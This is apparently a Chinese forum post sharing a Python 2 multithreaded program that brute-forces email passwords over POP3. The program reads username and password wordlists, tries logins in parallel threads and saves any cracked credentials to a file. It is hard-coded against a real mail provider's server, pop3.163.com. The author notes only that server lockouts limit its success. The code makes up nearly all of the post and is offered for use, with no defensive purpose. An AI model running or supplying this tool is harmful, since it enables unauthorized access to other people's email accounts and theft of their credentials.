python写的多线程版本的email破解程序
一下午的成果,不过通常的pop3服务器的设置方式,让暴力破解不太可能。除非密码太弱,否则短时间重复登陆多次,就在相当长时间内,无法再登陆了。
#-*- coding:UTF-8 -*-
###################
##Author: ArcherSC
##Jilin University
###################
import time
import sys
import poplib
import string
import Queue
#may be failed to import thread
try:
import thread
except ImportError:
del sys.modules[__name__]
raise
try:
import threading
except ImportError:
del sys.modules[__name__]
raise
g_success = 0
class TryUserPassPop3(threading.Thread):
def setQueueHandle(self,queue):
self.m_QueueHandle = queue
def setResultFile(self,filehandle):
self.m_FileHandle = filehandle
def connectServer(self,server):
try:
self.m_POPClient = poplib.POP3(server)
print self.m_POPClient.getwelcome()
except poplib.error_proto,(msg,):
print 'failed to connect server %s\n' % (msg,)
return 0
else:
return 1
def tryUserPass(self,user,password):
try:
self.m_POPClient.user(user)
self.m_POPClient.pass_(password)
except poplib.error_proto,(msg,):
print ' failed user:%s pass:%s %s\n' % (user,password,msg)
return 0
else:
print ' success user:%s pass:%s\n' % (user,password)
return 1
def stop(self):
self.m_StopEvent.set()
def start(self):
self.m_StopEvent = threading.Event()
self.m_StopEvent.clear()
threading.Thread.start(self)
def run(self):
while 1:
if self.m_StopEvent.isSet():
return 1
try:
t_UP = self.m_QueueHandle.get(1,3)
except Queue.Empty:
pass
else:
if self.tryUserPass(t_UP[0],t_UP[1]):
self.m_FileHandle.write('user:%s''s password is %s' % t_UP)
self.m_FileHandle.flush()
global g_success
g_success = 1
time.sleep(4)
class CrackEmail:
def __init__( self, server, userDataFile, passDataFile, resultDataFile ):
self.m_Server = server
self.m_UserDataFile = userDataFile
self.m_PassDataFile = passDataFile
self.m_ResultDataFile = resultDataFile
def __del__( self ):
self.m_ResultFileHandle.close()
for t_thread in self.m_ThreadObjList:
t_thread.stop()
t_thread.join()
def setThreadCount( self, count ):
self.m_ThreadCount = count
def setQueueSize( self , size = 0):
self.m_Queue = Queue.Queue(self.m_ThreadCount)
def startAllThread( self ):
print 'all threads starting......\n'
self.m_ResultFileHandle = open(self.m_ResultDataFile, 'a')
self.m_ThreadObjList = []
for t_i in range(0,self.m_ThreadCount):
self.m_ThreadObjList.append( TryUserPassPop3() )
for t_Thread in self.m_ThreadObjList:
t_Thread.setQueueHandle(self.m_Queue)
t_Thread.setResultFile(self.m_ResultFileHandle)
if t_Thread.connectServer(self.m_Server):
t_Thread.start()
print 'start ok\n'
def loadPassWord( self , pos = 0 , count = 1 ):
t_passlist = []
t_pdf = open(self.m_PassDataFile,'r')
t_pdf.seek(pos)
t_currentcount = 0
while t_currentcount < count :
t_passline = t_pdf.readline()
if t_passline:
t_passlines = string.split(t_passline)
t_currentcount += len(t_passlines)
t_passlist.extend(t_passlines)
else:
break
t_currentpos = t_pdf.tell()
t_pdf.close()
return t_passlist,t_currentpos
def loadUserList( self ):
t_userlist = []
t_udf = open(self.m_UserDataFile, 'r')
for t_user in t_udf:
t_userlist.extend(string.split(t_user))
t_udf.close()
return t_userlist
def run( self ):
self.startAllThread()
t_userlist = self.loadUserList()
t_recordfile = open('e:\\record.txt','a')
for t_user in t_userlist:
t_currentpos = 0
while 1:
t_recordfile.write('%d\n' % t_currentpos)
t_recordfile.flush()
t_passlist,t_currentpos = self.loadPassWord(t_currentpos,self.m_ThreadCount)
if t_passlist:
for t_pass in t_passlist:
try:
self.m_Queue.put( (t_user,t_pass), 1, 8 )
except Queue.Full:
print 'queue is full\n'
time.sleep(10)
else:
continue
global g_success
if g_success:
g_success = 0
break
t_recordfile.close()
mycrack = CrackEmail('pop3.163.com','e:\\user.txt','e:\\pass.txt','e:\\result.txt')
mycrack.setThreadCount(5)
mycrack.setQueueSize()
mycrack.run()
页:
[1]